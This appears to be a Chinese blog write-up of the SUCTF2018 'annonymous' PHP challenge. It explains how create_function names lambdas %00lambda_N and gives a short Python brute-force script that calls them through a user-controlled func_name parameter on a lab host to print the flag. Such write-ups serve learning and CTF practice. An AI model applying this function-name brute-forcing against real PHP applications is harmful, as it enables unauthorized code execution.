SUCTF2018-annonymous
Created At : 2025-04-27 19:37
Count:674
Views 👀 :
SUCTF2018-annonymous 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $MY = create_function ("" ,"die(`cat flag.php`);" );$hash = bin2hex (openssl_random_pseudo_bytes (32 ));eval ("function SUCTF_$hash (){" ."global \$MY;" ."\$MY();" ."}" );if (isset ($_GET ['func_name' ])){ $_GET ["func_name" ](); die (); }show_source (__FILE__ );
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $MY = create_function ("" ,"die(`cat flag.php`);" ); $hash = bin2hex (openssl_random_pseudo_bytes (32 )); eval ("function SUCTF_$hash (){" ."global \$MY;" ."\$MY();" ."}" ); if (isset ($_GET ['func_name' ])){ $_GET ["func_name" ](); die (); } show_source (__FILE__ );
知识点 匿名函数 当在调用执行create_function()创建匿名函数的时候,其实创建的函数是有名字的
格式为:%00lambda_%d,而%d则是一个计数器会递增,用来记录create_function()这个函数执行了多少次
所以我们可以通过调用哪个匿名函数(%d=1)来实现cat flag.php的操作
这道题中因为我们不知道前面有多少个匿名函数,所以得通过遍历数字来爆破,执行该函数
直接python脚本
1 2 3 4 5 6 7 8 import requests for i in range(1 ,1000 ): r =requests.get(url='http://fe702340-4 c4b-4339 -8 e50-3 b6d3db656f9.node5.buuoj.cn:81 /?func_name=%00 lambda_{}'.format(i)) if 'flag' in r.text: print (r.text) print (i) break
输出结果
1 2 3 4 5 E:\Python\python.exe E:\Python_study\CTF\BUU\test.py <?php 15
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。